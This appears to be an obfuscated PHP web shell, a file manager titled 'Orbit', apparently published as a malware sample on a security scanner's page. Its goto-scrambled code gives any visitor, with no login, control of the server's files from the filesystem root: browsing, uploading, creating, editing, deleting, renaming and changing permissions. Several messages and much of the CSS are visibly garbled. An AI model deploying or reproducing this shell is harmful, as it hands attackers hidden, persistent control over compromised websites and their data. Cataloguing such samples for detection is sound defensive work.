goto f7JyX;
oL3fa: a7DfS($JQewE, ["k" => "x", "t" => "err"]);
goto cN5z6;
uparF: function MFP1W($aza3T) {
goto CS31u;
E8oUZ: $vJrBi = '';
goto gmmhU;
gGBJk: @fclose($VYz8_);
goto DI2a_;
gmmhU: XeSdj: goto urt2o;
EV8Ic: if ($VYz8_) {
goto B73eo;
}
goto O2REA;
JbFE1: B73eo: goto E8oUZ;
O2REA: return false;
goto JbFE1;
MDvQq: $qVi10 = @fread($VYz8_, 65536);
goto SLvy6;
urt2o: if (feof($VYz8_)) {
goto Ca2m3;
}
goto MDvQq;
bbaVl: Ca2m3: goto MBBmM;
s5M8C: $VYz8_ = @fopen($aza3T, "rb");
goto EV8Ic;
AfeiZ: $vJrBi .= $qVi10;
goto PPoA6;
RBiVC: return false;
goto Ge3Tx;
Ge3Tx: W55xY: goto s5M8C;
DI2a_: return false;
goto flHZD;
CS31u: if (!(!is_file($aza3T) || !is_readable($aza3T))) {
goto W55xY;
}
goto RBiVC;
flHZD: xiSih: goto AfeiZ;
MBBmM: @fclose($VYz8_);
goto F1SWB;
PPoA6: goto XeSdj;
goto bbaVl;
F1SWB: return $vJrBi;
goto Htu2A;
SLvy6: if (!($qVi10 === false)) {
goto xiSih;
}
goto gGBJk;
Htu2A:
}
goto M91fj;
E_zSF: echo pkKhI($rEOYZ);
goto ulEat;
vi56V: gx97s: goto ar4fB;
epJSO: if (!isset($_POST["rmf"])) {
goto T4oFd;
}
goto uCCvl;
XdUxf: echo "</span><span class="pill">cwd ";
goto YW2lZ;
GOAtK: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $aza3T;
goto kyqul;
p8nMe: A7dfS($JQewE, ["k" => "4"]);
goto TG5zh;
jqTHG: dGB0E: goto vi56V;
aWZ85: echo "</div>";
goto bITe7;
FcuvT: echo PkKhI($TFe0M);
goto GQPWq;
hvotZ: a7dfs($JQewE, ["k" => "9", "t" => "err"]);
goto lzQiy;
TBrUO: @chmod($IkyNW, 0666);
goto N6R4a;
MH0yK: if (!file_exists($IkyNW)) {
goto fRTVW;
}
goto bkXSO;
zOhic: $ajdwR = null;
goto ZnI_D;
bT6IE: a7dFS($JQewE, ["k" => "9", "t" => "err"]);
goto uU0L0;
TRqUv: A7DfS($JQewE, ["k" => "2", "do" => "edit", "f" => $TFe0M]);
goto vhMiZ;
NU184: $UtU3v = $_GET["pt"] ?? null;
goto rM_Fj;
hQAIr: if (!j5nYL($IkyNW, $qVi10)) {
goto mWg9S;
}
goto TRqUv;
keGp4: Kx3Xe: goto mpfdZ;
Gfbl1: $TFe0M = $_GET["f"] ?? '';
goto M2beE;
PB9DQ: A7dFS($JQewE, ["k" => "x", "t" => "err", "do" => "edit", "f" => $TFe0M]);
goto v3MQi;
DNqGG: echo "<tr><td colspan='5'>no access</td></tr>";
goto rQBh9;
UffqY: $ror5f = $JQewE . DIRECTORY_SEPARATOR . $HZK3B;
goto NuZaL;
rQBh9: y7rSB: goto t0kSU;
uU0L0: oRSZC: goto J30Xr;
rM_Fj: $gnRIf = "/";
goto hHs0K;
N6R4a: CgLbU: goto QCiNk;
UeHmH: a7DFs($JQewE, ["k" => "x", "t" => "err"]);
goto PQZqp;
SjLMB: if (!j5NYl($IkyNW, $qVi10)) {
goto LmsVv;
}
goto djb0G;
il5KT: s24zE: goto vnxZv;
VFTZc: $ntHjf = ["1" => "Fsreated.", "2" => "aved.", "3" => "femoved.", "4" => "freated.", "5" => "femoved.", "6" => "fnad.", "7" => "uomplete.", "9" => "mnvalid dtem.", "x" => "we failed. permi"];
goto d9RKi;
Ym99n: A7DFs($JQewE, ["k" => "x", "t" => "err"]);
goto Y3cSH;
RzxIQ: a7dFs($JQewE, ["k" => "3"]);
goto j3Lbo;
ZaYVB: echo " <!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport"content="width=device-width,initial-scale"/><title>Orbit</title> <style>*{
box-sizing:border-box
}
html,body{
margin;
padding:0
}
body{
background:#fdfdfd;
color:#0f10;
font3px/1.55 ui-sans-serif,system-ui,Segoe UI,Roboto,Ubuntu,Helvetica,Arial
}
.c0{
max-width:10px;
margin:20px auto;
padding 12px
}
.c1{
display:flex;
justify-content:space-between;
align-items:center;
background:#fff;
borderpx solid #e9e9ee;
border-radius:18px;
padding:14px 16px;
box-shadow:0 8px4px rgba(0,0,0,.05)
}
.t0{
font-weight:8;
letter-spacing:.3px
}
.crumb{
font-size:12px;
color:670
}
.pill{
display:inline-block;
background:#f6f7fb;
border:1px solid #ececf2;
border-radius:999px;
padding:rrem .55rem;
margin-left:.35rem
}
.msg{
margin4px 0;
padding:10px 12px;
border-radius2px;
border:1px solid #ececf2
}
.ok{
background:#ecfdf5;
border-color:#a7f3d0
}
.err{
background:#fff1f2;
border-color:#fecdd3
}
.card{
background:#fff;
border:1px solid #ececf2;
border-radius6px;
padding:14px;
box-shadow:0 8px 24px rgba(0`,0,p5);
margin-top:px
}
.btn{
appearance:none;
background:#0be5;
color:#fff;
border:0;
border-radius0px;
padding:8px2px;
cursor:pointer
}
.btn:hover{
filter:brightnessAp6)
}
.in,textarea{
widthр%;
borderpx solid #e2e4ea;
border-radius:10px;
padding:px;
background:#fff;
color:#0f1720
}
.tbl{
width:0%;
border-collapse:collapse
}
.tbl th,.tbl td{
border-bottom:1px solid #f0f0f3;
padding:8px 6px;
text-align:left
}
.l0{
height:1px;
background:#efeff3;
margin:px 0
}
.grid{
display:grid;
grid-template-columns:repeat(auto-fit,minmaxB60px,1fr));
gap:12px
}
</style> </head><body><div class="c0"> <header class="c1"> <div class="t0">Orbit</div> <div class="crumb">";
goto YTtLF;
hHs0K: $JQewE = $UtU3v !== null ? JhUh3(TfwkV($UtU3v, $gnRIf), $gnRIf) : Jhuh3($XWyC_, $gnRIf);
goto IC78H;
mZoDo: if (!(($_GET["t"] ?? '') === "err")) {
goto PQeaj;
}
goto GMUte;
vhMiZ: mWg9S: goto QSj5m;
mQN0M: BgQAr: goto AWD1f;
Tul07: A7DFS($JQewE, ["k" => "9", "t" => "err"]);
goto kpEN_;
saCER: a7DfS($JQewE, ["k" => "9", "t" => "err"]);
goto TWv2_;
OuYVe: function jhUH3($Eky3U, $gnRIf) {
goto IyseB;
qSQbz: sGAAE: goto Xr5uZ;
u02MS: if (!($OcyyA !== false && strpos($OcyyA, $gnRIf) === 0)) {
goto ig2dL;
}
goto rPD_0;
QiW_N: goto KwbNJ;
goto HM7NC;
ZqYBc: $MePvB = DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $XWyC_);
goto QiW_N;
A8uU2: KwbNJ: goto eLzvA;
wHKZZ: lei8v: goto uQer1;
EaUox: if (!is_file($MePvB)) {
goto lei8v;
}
goto lonI1;
uQer1: return rtrim($MePvB, DIRECTORY_SEPARATOR);
goto YghjH;
HM7NC: JJw3P: goto wKw_4;
pu3Tu: ig2dL: goto EaUox;
KHqpD: USdSl: goto JGEUA;
tOpCR: sSIoO: goto M9fhy;
IyseB: $Eky3U = str_replace("\0", '', (string) $Eky3U);
goto BmE4M;
gE5u_: return getcwd();
goto CNq3n;
Xr5uZ: if (DIRECTORY_SEPARATOR === "\" && preg_match("#^[A-Za-z]:#", $XWyC_[0] ?? '')) {
goto JJw3P;
}
goto ZqYBc;
rPD_0: $MePvB = $OcyyA;
goto pu3Tu;
CNq3n: YWnku: goto ttELv;
SLQVW: if (!($Eky3U === '' || $Eky3U === || $Eky3U === "/" || $Eky3U === "\")) {
goto YWnku;
}
goto gE5u_;
lonI1: $MePvB = dirname($MePvB);
goto wHKZZ;
efhGk: $x2d1S = str_replace(["/", "\"], DIRECTORY_SEPARATOR, $x2d1S);
goto Z6CQL;
XaYIb: goto sSIoO;
goto KHqpD;
BmE4M: $Eky3U = trim($Eky3U);
goto SLQVW;
ttELv: $x2d1S = rawurldecode($Eky3U);
goto efhGk;
M9fhy: $XWyC_ = [];
goto Vve0a;
wKw_4: $MePvB = implode(DIRECTORY_SEPARATOR, $XWyC_);
goto A8uU2;
Z6CQL: if (!preg_match("#^([A-Za-z]:|" . preg_quote(DIRECTORY_SEPARATOR, "#") . ")#", $x2d1S)) {
goto USdSl;
}
goto rV42L;
Vve0a: foreach (explode(DIRECTORY_SEPARATOR, $LqYAi) as $joWRp) {
goto f8hfd;
SdkEk: array_pop($XWyC_);
goto VxW4i;
Mks5l: unVom: goto kA1cE;
OjcR7: dLYs1: goto paSOt;
BtkA8: if (!($joWRp === "..")) {
goto dLYs1;
}
goto SdkEk;
f8hfd: if (!($joWRp === '' || $joWRp === )) {
goto OQ55d;
}
goto FVxSb;
Pimea: OQ55d: goto BtkA8;
FVxSb: goto unVom;
goto Pimea;
VxW4i: goto unVom;
goto OjcR7;
paSOt: $XWyC_[] = $joWRp;
goto Mks5l;
kA1cE:
}
goto qSQbz;
eLzvA: $OcyyA = @realpath($MePvB);
goto u02MS;
rV42L: $LqYAi = $x2d1S;
goto XaYIb;
JGEUA: $LqYAi = rtrim($gnRIf, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . ltrim($x2d1S, DIRECTORY_SEPARATOR);
goto tOpCR;
YghjH:
}
goto uparF;
YhE_I: if (is_file($IkyNW)) {
goto BgQAr;
}
goto TWT1j;
JqLtP: echo pkkhI($cRXTU);
goto nmMvO;
Y1sJe: echo PKkHi($ajdwR);
goto aWZ85;
FTP0d: if (!isset($_POST["mkd"])) {
goto KQ3bU;
}
goto yNLk2;
Z77A1: if (!isset($_POST["rmd"])) {
goto cmeJw;
}
goto fpss0;
XABam: A7dFS($JQewE, ["k" => "9", "t" => "err"]);
goto Yhmz5;
gKFon: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $MePvB;
goto QS14a;
GQPWq: echo "</span></div> <textarea name="payload"rows="18">";
goto JqLtP;
mpfdZ: A7dFS($JQewE, ["k" => "x", "t" => "err"]);
goto y2SA8;
xlivt: $cRXTU = MFP1w($ZB2wO);
goto jIrb5;
qwhPM: LmsVv: goto UeHmH;
VTqqx: if (!$ajdwR) {
goto Akz10;
}
goto mwN0c;
tuGWo: A7DFs($JQewE, ["k" => "9", "t" => "err"]);
goto l3a0R;
jNZEy: function a7Dfs($aSOMo, $Q5PPH = array()) {
goto wEQdo;
T1FLm: $JQewE = JHuH3($aSOMo, $gnRIf);
goto VH1BJ;
UoriT: $UtU3v = aWLlo($aSOMo);
goto pjw8X;
VH1BJ: $_POST = [];
goto zbgVB;
pjw8X: $_GET = $Q5PPH + ["pt" => $UtU3v];
goto T1FLm;
wEQdo: global $_GET, $JQewE, $UtU3v, $gnRIf;
goto UoriT;
zbgVB: $_SERVER["REQUEST_METHOD"] = "GET";
goto Rw2bN;
Rw2bN:
}
goto OuYVe;
DTc9R: if (Vph1x($aza3T["tmp_name"], $DJ0qa)) {
goto ejK_s;
}
goto Qbs_F;
HXAXg: function PkKhi($joWRp) {
return strtr((string) $joWRp, ["&" => "&
", "<" => "<
", ">" => ">
", """ => ""
", "'" => "'
"]);
}
goto jNZEy;
TWv2_: EJYqL: goto UffqY;
jIrb5: echo " ";
goto A6id9;
djb0G: A7DfS($JQewE, ["k" => "1"]);
goto qwhPM;
vnxZv: a7dFs($JQewE, ["k" => "x", "t" => "err"]);
goto ug7ZL;
kd4WM: $qVi10 = (string) ($_POST["payload"] ?? '');
goto JEajD;
kyqul: if (!(is_file($IkyNW) && @unlink($IkyNW))) {
goto Thun2;
}
goto RzxIQ;
y2SA8: DXt7o: goto epJSO;
v3MQi: AjxBn: goto hQAIr;
mwN0c: echo "<div class="msg ";
goto E_zSF;
yAobV: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $x2d1S;
goto Gp8vW;
efPjX: if (!isset($_POST["mv"])) {
goto DXt7o;
}
goto rt1C7;
NuZaL: $sbRc1 = $JQewE . DIRECTORY_SEPARATOR . $b8LWB;
goto ihx5a;
fPM6B: echo "</div> <div><span class="pill">root ";
goto ZXbs9;
QnUF3: if ($PMj41 === false) {
goto Ky264;
}
goto tV5A5;
wDV7n: $PMj41 = @scandir($JQewE);
goto QnUF3;
rUNyl: if (!isset($_FILES["bu"])) {
goto aEV1M;
}
goto gpxNY;
bITe7: Akz10: goto AWMBf;
ulEat: echo "">";
goto Y1sJe;
MTx0V: function l8vKm($BiiQq) {
return is_numeric($BiiQq) ? number_format((float) $BiiQq) . " bytes" : "-";
}
goto iKQTX;
sIgNT: ejK_s: goto wcHGp;
QSj5m: a7dFs($JQewE, ["k" => "x", "t" => "err", "do" => "edit", "f" => $TFe0M]);
goto liQH8;
EUFdY: aEV1M: goto F6cj8;
CEC9j: if (!($_SERVER["REQUEST_METHOD"] === "POST")) {
goto GNg13;
}
goto rUNyl;
JEajD: if (!($MePvB === '')) {
goto MvU9a;
}
goto hvotZ;
TG5zh: iI1Ld: goto Ym99n;
TWT1j: A7dFS($JQewE, ["k" => "9", "t" => "err"]);
goto mQN0M;
lW1eW: function T2HQy($Wokkh, $gnRIf) {
goto coYVT;
w_XZG: $qv8a3 = $LmPkW === '' ? [] : array_values(array_filter(explode("/", $LmPkW)));
goto C_qNg;
DVDUo: $ztvdq = array_values(array_filter(explode("/", trim($XWyC_, "/"))));
goto LGfaj;
UBS4L: foreach ($ztvdq as $joWRp) {
goto ZSwkl;
LnFDA: UR4_P: goto ioOdB;
ZSwkl: $PTqq1 .= ($PTqq1 === '' ? '' : "/") . $joWRp;
goto LcvZP;
LcvZP: $ror5f[] = Fq_uQ($PTqq1, $joWRp);
goto LnFDA;
ioOdB:
}
goto qyBDJ;
qyBDJ: sQ8G9: goto c_dOs;
x29z9: $Eky3U = str_replace("\", "/", $gnRIf);
goto ZeSCL;
tLlUQ: foreach ($qv8a3 as $joWRp) {
goto lX6Ga;
GPq1_: $ror5f[] = fQ_UQ($CxJMn, $joWRp);
goto Up9sc;
lX6Ga: $CxJMn = rtrim($CxJMn, "/\") . DIRECTORY_SEPARATOR . $joWRp;
goto GPq1_;
Up9sc: MS1__: goto EaC9Q;
EaC9Q:
}
goto VGBhV;
Iwe2X: Zvjy0: goto DVDUo;
C_qNg: $ror5f = [];
goto y53Ek;
coYVT: $XWyC_ = str_replace("\", "/", $Wokkh);
goto x29z9;
hes0W: $LmPkW = ltrim(substr($XWyC_, strlen($Eky3U)), "/");
goto w_XZG;
y53Ek: $ror5f[] = FQ_uQ($Eky3U, "/");
goto ieY9Q;
LGfaj: $PTqq1 = '';
goto CcHou;
flCaJ: return implode(" <span class=\"gsep\">›</span> ", $ror5f);
goto Iwe2X;
CcHou: $ror5f = [];
goto UBS4L;
c_dOs: return implode(" <span class=\"gsep\">›</span> ", $ror5f);
goto iShsz;
VGBhV: JntMq: goto flCaJ;
ZeSCL: if (!(strpos($XWyC_, $Eky3U) === 0)) {
goto Zvjy0;
}
goto hes0W;
ieY9Q: $CxJMn = $Eky3U;
goto tLlUQ;
iShsz:
}
goto VFTZc;
cN5z6: T4oFd: goto Z77A1;
gpxNY: $aza3T = $_FILES["bu"];
goto cpY87;
ZnI_D: if (!($pE7RY !== '' && array_key_exists($pE7RY, $ntHjf))) {
goto OCyGY;
}
goto TE1I4;
l9ifL: echo " <form method="post"class="card"> <div class="t0"style="font-size:16px">revise <span class="pill">";
goto FcuvT;
f7JyX: session_start();
goto QJ7Qh;
cplnQ: function vYozr($XWyC_) {
return substr(sprintf("%o", $XWyC_), -4);
}
goto MTx0V;
AWD1f: if (is_writable($IkyNW)) {
goto CgLbU;
}
goto TBrUO;
gMpV9: GNg13: goto ZaYVB;
ZSf30: DpZ0i: goto WpbYP;
wcHGp: a7dfS($JQewE, ["k" => "7"]);
goto R4HO2;
qR47e: $rEOYZ = "ok";
goto zOhic;
cpY87: $DJ0qa = rtrim($JQewE, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($aza3T["name"]);
goto Qmkf5;
YTtLF: echo t2hqY($JQewE, $gnRIf);
goto fPM6B;
ZXbs9: echo pkkHI($gnRIf);
goto XdUxf;
l3a0R: xKeEp: goto Rs3w8;
uCCvl: $aza3T = basename(trim((string) ($_POST["n"] ?? '')));
goto Kfjko;
klFiq: $qVi10 = (string) ($_POST["payload"] ?? '');
goto YhE_I;
iKQTX: function fQ_uq($Wokkh, $pDQu9) {
return "<a class='link' href='?pt=" . pKKhi(AWLlO($Wokkh)) . "'>" . pkkHi($pDQu9) . "</a>";
}
goto lW1eW;
v37Q6: echo "</span></div> </header> ";
goto VTqqx;
d9RKi: $XWyC_ = $_GET["p"] ?? '';
goto wfYCt;
JjjXn: function TFWKv($IyC1X, $x2d1S) {
return $_SESSION["mader"][$IyC1X] ?? $x2d1S;
}
goto HXAXg;
qTnim: a7dFs($JQewE, ["k" => "5"]);
goto OqJ0v;
wfYCt: $YqEDk = $_GET["do"] ?? '';
goto Gfbl1;
Yhmz5: goto vvCX_;
goto sIgNT;
yNLk2: $MePvB = basename(trim((string) ($_POST["name"] ?? '')));
goto yauSu;
Cj4oW: if (!($x2d1S !== '')) {
goto s24zE;
}
goto yAobV;
J85Pn: OCyGY: goto s6U7M;
rt1C7: $b8LWB = basename(trim((string) ($_POST["to"] ?? '')));
goto WlaLC;
fpss0: $x2d1S = basename(trim((string) ($_POST["n"] ?? '')));
goto Cj4oW;
nmMvO: echo "</textarea> <div style="margin-top:10px"><button class="btn"type="submit"name="save">commit</button></div></form> ";
goto dnHyw;
Gp8vW: if (!(is_dir($IkyNW) && okEGB($IkyNW))) {
goto lntkS;
}
goto qTnim;
QPNG2: a7dfs($JQewE, ["k" => "6"]);
goto keGp4;
uh1Lu: Ky264: goto DNqGG;
PQZqp: M2CN3: goto FTP0d;
M91fj: function J5nyl($aza3T, $x2d1S) {
goto RvHGf;
R2vqq: @flock($VYz8_, LOCK_EX);
goto RWDmw;
C2cSs: return $UefZq !== false;
goto sKCVK;
RWDmw: $UefZq = @fwrite($VYz8_, $x2d1S);
goto pkq4y;
pkq4y: @flock($VYz8_, LOCK_UN);
goto nyFHa;
eftXY: GMOCL: goto scdjS;
scdjS: $VYz8_ = @fopen($aza3T, "wb");
goto yuTXQ;
Vux2B: return false;
goto FrS0k;
MClve: if (!(!is_dir($o1cuT) || !is_writable($o1cuT))) {
goto GMOCL;
}
goto Whzov;
yuTXQ: if ($VYz8_) {
goto OSdZq;
}
goto Vux2B;
RvHGf: $o1cuT = dirname($aza3T);
goto MClve;
Whzov: return false;
goto eftXY;
nyFHa: @fclose($VYz8_);
goto C2cSs;
FrS0k: OSdZq: goto R2vqq;
sKCVK:
}
goto rX1S5;
d7s2d: $ZB2wO = rtrim($JQewE, "\/") . DIRECTORY_SEPARATOR . $TFe0M;
goto xlivt;
TE1I4: $ajdwR = $ntHjf[$pE7RY];
goto mZoDo;
tV5A5: foreach ($PMj41 as $Vq_10) {
goto aqUJO;
d_xrq: tuMt8: goto uB7b7;
Cuqrt: $I9_lI = $GPyyA !== false ? VyozR($GPyyA) : "----";
goto S4KtE;
LsFBJ: $GPyyA = @fileperms($aza3T);
goto Cuqrt;
IwdwL: echo "</td></tr>";
goto rHV8A;
z7x2d: $faN9F = is_dir($aza3T);
goto LsFBJ;
Ehlai: Ynoan: goto IwdwL;
uMCNp: goto ly36T;
goto IW0Qw;
rHV8A: ly36T: goto u0sal;
oRsDc: echo "<form method='post'style='display:inline;
margin-left:6px'><input type='hidden'name='mv'value=9'><input type='hidden'name='from'value='" . pkKHi($Vq_10) . "'><input class='in'style='width:160px'name='to'placeholder='rename to'> <button class='btn'type='submit'>rename</button></form>";
goto Ehlai;
A2JKy: goto Ynoan;
goto d_xrq;
aqUJO: if (!($Vq_10 === || $Vq_10 === "..")) {
goto ZNCbN;
}
goto uMCNp;
fqSEq: echo Fq_uQ($aza3T, $Vq_10);
goto nB4a8;
ZC6i7: echo "<form method='post'style='display:inline'onsubmit="return confirm('delete file?')"><input type='hidden'name='rmf'value=9'><input type='hidden'name='n'value='" . PkKhi($Vq_10) . "'><button class='btn'type='submit'>delete</button></form> ";
goto is_uO;
E7JiV: o3eD2: goto fqSEq;
IW0Qw: ZNCbN: goto aqNtZ;
XbARd: echo "</td><td>{
$gLinA
}
</td><td>{
$I9_lI
}
</td><td>{
$vjuNx
}
</td><td>";
goto Xa_qB;
EgejM: if ($faN9F) {
goto o3eD2;
}
goto CALNA;
S4KtE: $gLinA = $faN9F ? "-" : l8vkm(@filesize($aza3T));
goto wp4Vd;
CALNA: echo pkKhi($Vq_10);
goto OTXB8;
t7Lp1: echo "<tr><td>";
goto EgejM;
OTXB8: goto ywW7n;
goto E7JiV;
wp4Vd: $vjuNx = @date("Y-m-d H:i", @filemtime($aza3T));
goto t7Lp1;
is_uO: echo "<form method='post'style='display:inline;
margin-leftpx'><input type='hidden'name='mv'value='1'><input type='hidden'name='from'value='" . PKKhI($Vq_10) . "'><input class='in'style='width:0px'name='to'placeholder='rename to'> <button class='btn'type='submit'>rename</button></form>";
goto A2JKy;
uB7b7: echo "<form method='post'style='display:inline'onsubmit="return confirm('remove contents?')"><input type='hidden'name='rmd'value='1'><input type='hidden'name='n'value='" . PKKHi($Vq_10) . "'><button class='btn'type='submit'>delete</button></form> ";
goto oRsDc;
ir_7A: echo "<a class='link'style='margin-right:8px'href='?pt=" . pkKHi(AwlLo($JQewE)) . "&do=edit&f=" . urlencode($Vq_10) . "'>open</a>";
goto ZC6i7;
nB4a8: ywW7n: goto XbARd;
aqNtZ: $aza3T = $JQewE . DIRECTORY_SEPARATOR . $Vq_10;
goto z7x2d;
Xa_qB: if ($faN9F) {
goto tuMt8;
}
goto ir_7A;
u0sal:
}
goto ZSf30;
Or1PM: qC0d2: goto oL3fa;
kpEN_: XGGjz: goto gKFon;
ug7ZL: cmeJw: goto gMpV9;
F6cj8: if (!isset($_POST["mkf"])) {
goto M2CN3;
}
goto kHXUj;
Jk1Gf: if (!($b8LWB === '' || $HZK3B === '')) {
goto EJYqL;
}
goto saCER;
kHXUj: $MePvB = basename(trim((string) ($_POST["name"] ?? '')));
goto kd4WM;
Rs3w8: if (!@rename($ror5f, $sbRc1)) {
goto Kx3Xe;
}
goto QPNG2;
yauSu: if (!($MePvB === '')) {
goto XGGjz;
}
goto Tul07;
Kfjko: if (!($aza3T !== '')) {
goto qC0d2;
}
goto GOAtK;
WlaLC: $HZK3B = basename(trim((string) ($_POST["from"] ?? '')));
goto Jk1Gf;
OqJ0v: lntkS: goto il5KT;
QS14a: if (!file_exists($IkyNW)) {
goto oRSZC;
}
goto bT6IE;
Qmkf5: if ($aza3T["error"] !== UPLOAD_ERR_OK || !is_uploaded_file($aza3T["tmp_name"])) {
goto zRwHr;
}
goto DTc9R;
P1AMx: PzjW1: goto G13yv;
FGlzD: fRTVW: goto SjLMB;
ppbXt: if (!($YqEDk === "edit" && $TFe0M !== '')) {
goto gx97s;
}
goto d7s2d;
H1FqF: function aWLLo($Wokkh) {
goto fgDBa;
BIqjh: $_SESSION["mader"][$BiiQq] = $Wokkh;
goto mg_6G;
fgDBa: $BiiQq = bin2hex(random_bytes(8));
goto BIqjh;
mg_6G: return $BiiQq;
goto pwbyr;
pwbyr:
}
goto JjjXn;
SsBUX: zRwHr: goto XABam;
rO5G5: goto vvCX_;
goto SsBUX;
mi9sS: $IkyNW = $JQewE . DIRECTORY_SEPARATOR . $MePvB;
goto MH0yK;
bkXSO: A7dFs($JQewE, ["k" => "9", "t" => "err"]);
goto FGlzD;
AWMBf: echo " <div class="grid"> <form method="post" enctype="multipart/form-data" class="card"> <div class="t0"style="font-size:16px">ingest</div> <input class="in"type="file"name="bu"/> <div style="margin-top:8px"><button class="btn"type="submit">send</button></div></form> <form method="post"class="card"> <div class="t0"style="font-size:16px">fresh item</div> <input class="in"name="name"placeholder="file.ext"/> <textarea name="payload"rows="6"placeholder="content (opt)"></textarea> <div style="margin-top:8px"><button class="btn"type="submit"name="mkf">create</button></div></form> <form method="post"class="card"> <div class="t0"style="font-size6px">fresh dir</div> <input class="in"name="name"placeholder="folder"/> <div style="margin-top:8px"><button class="btn"type="submit"name="mkd">create</button></div></form> </div> ";
goto ppbXt;
M2beE: $moh16 = $_GET["d"] ?? '';
goto NU184;
lzQiy: MvU9a: goto mi9sS;
ar4fB: echo " <div class="card"style="margin-top4px"> <div class="t0"style="font-size6px;
margin-bottom:8px">items</div> <table class="tbl"> <tr><th>name</th><th>size</th><th>perm</th><th>modified</th><th>actions</th></tr> ";
goto wDV7n;
ihx5a: if (!(!file_exists($ror5f) || file_exists($sbRc1))) {
goto xKeEp;
}
goto tuGWo;
YW2lZ: echo PKkHI($JQewE);
goto v37Q6;
dnHyw: goto dGB0E;
goto P1AMx;
R4HO2: vvCX_: goto EUFdY;
GMUte: $rEOYZ = "err";
goto FXYSC;
r06_9: if (!(isset($_POST["save"]) && $TFe0M !== '')) {
goto aSyZf;
}
goto UZKMP;
j3Lbo: Thun2: goto Or1PM;
J30Xr: if (!@mkdir($IkyNW, 0777, true)) {
goto iI1Ld;
}
goto p8nMe;
rX1S5: function OKEGb($x2d1S) {
goto WguF4;
VVH8w: fkOJA: goto CegNY;
eI2m9: KzkDb: goto mqojB;
mqojB: foreach ($pDQu9 as $LqYAi) {
goto jkNuu;
axcDP: BjDd4: goto vMRes;
WuZ7Q: if (is_dir($IkyNW)) {
goto x4_Ac;
}
goto jisai;
cY3KJ: USatq: goto UuH9_;
yCBDf: goto t0v0B;
goto o1wQ4;
ijs3A: aSU6C: goto yCBDf;
o1wQ4: x4_Ac: goto idX7S;
jkNuu: if (!($LqYAi === || $LqYAi === "..")) {
goto BjDd4;
}
goto yUSaL;
yUSaL: goto fhHx1;
goto axcDP;
idX7S: if (okegb($IkyNW)) {
goto USatq;
}
goto E1J7q;
kqcPr: return false;
goto ijs3A;
vMRes: $IkyNW = $x2d1S . DIRECTORY_SEPARATOR . $LqYAi;
goto WuZ7Q;
jisai: if (@unlink($IkyNW)) {
goto aSU6C;
}
goto kqcPr;
vOm65: fhHx1: goto pINPC;
E1J7q: return false;
goto cY3KJ;
UuH9_: t0v0B: goto vOm65;
pINPC:
}
goto W92MC;
pBqv5: return false;
goto eI2m9;
h1q3U: return @rmdir($x2d1S);
goto a5R0Z;
WguF4: if (is_dir($x2d1S)) {
goto fkOJA;
}
goto LvB63;
LvB63: return false;
goto VVH8w;
CegNY: $pDQu9 = @scandir($x2d1S);
goto ub1om;
W92MC: EfkpT: goto h1q3U;
ub1om: if (!($pDQu9 === false)) {
goto KzkDb;
}
goto pBqv5;
a5R0Z:
}
goto cplnQ;
IC78H: $pE7RY = $_GET["k"] ?? '';
goto qR47e;
QJ7Qh: $_SESSION["mader"] = $_SESSION["mader"] ?? [];
goto H1FqF;
FXYSC: PQeaj: goto J85Pn;
WpbYP: goto y7rSB;
goto uh1Lu;
A6id9: if ($cRXTU === false) {
goto PzjW1;
}
goto l9ifL;
QCiNk: if (is_writable($IkyNW)) {
goto AjxBn;
}
goto PB9DQ;
liQH8: aSyZf: goto efPjX;
Y3cSH: KQ3bU: goto r06_9;
Qbs_F: a7DFS($JQewE, ["k" => "x", "t" => "err"]);
goto rO5G5;
G13yv: echo "<div class="msg err">cannot read</div> ";
goto jqTHG;
UZKMP: $IkyNW = rtrim($JQewE, "\/") . DIRECTORY_SEPARATOR . $TFe0M;
goto klFiq;
s6U7M: function vpH1x($Qd88C, $DJ0qa) {
goto Fw3fB;
s5DQB: return $UefZq;
goto xPTus;
nhKoS: if (!(!is_dir($o1cuT) || !is_writable($o1cuT))) {
goto pGaX9;
}
goto Y7t7G;
GclpW: return false;
goto DFolC;
vXEa3: return false;
goto eXxbJ;
KFZw0: if (!($x2d1S === false || @fwrite($XFs1k, $x2d1S) === false)) {
goto THqTJ;
}
goto b149g;
wSnDQ: @fclose($XFs1k);
goto s5DQB;
W1jGv: return false;
goto rqEDU;
aoLML: goto SWwdz;
goto u0pas;
eXxbJ: bWkBd: goto alUL7;
oUIza: @fclose($tEGAZ);
goto vXEa3;
UvKYB: if (feof($tEGAZ)) {
goto SWwdz;
}
goto CWSP3;
ob_b1: if ($tEGAZ) {
goto rGu6_;
}
goto W1jGv;
CWSP3: $x2d1S = @fread($tEGAZ, 65536);
goto KFZw0;
u0pas: THqTJ: goto KxVuq;
b4HsG: QLblB: goto UvKYB;
lVFwh: $tEGAZ = @fopen($Qd88C, "rb");
goto ob_b1;
BuT9z: SWwdz: goto NMq4N;
Fw3fB: if (file_exists($Qd88C)) {
goto XxD6d;
}
goto GclpW;
PvBJn: if ($XFs1k) {
goto bWkBd;
}
goto oUIza;
rqEDU: rGu6_: goto tyunu;
NMq4N: @fclose($tEGAZ);
goto wSnDQ;
DFolC: XxD6d: goto aeZCs;
alUL7: $UefZq = true;
goto b4HsG;
KxVuq: goto QLblB;
goto BuT9z;
fLc9a: pGaX9: goto lVFwh;
aeZCs: $o1cuT = dirname($DJ0qa);
goto nhKoS;
b149g: $UefZq = false;
goto aoLML;
tyunu: $XFs1k = @fopen($DJ0qa, "wb");
goto PvBJn;
Y7t7G: return false;
goto fLc9a;
xPTus:
}
goto CEC9j;
t0kSU: echo " </table> </div></div></body></html>";
© 2023 Quttera Ltd. All rights reserved.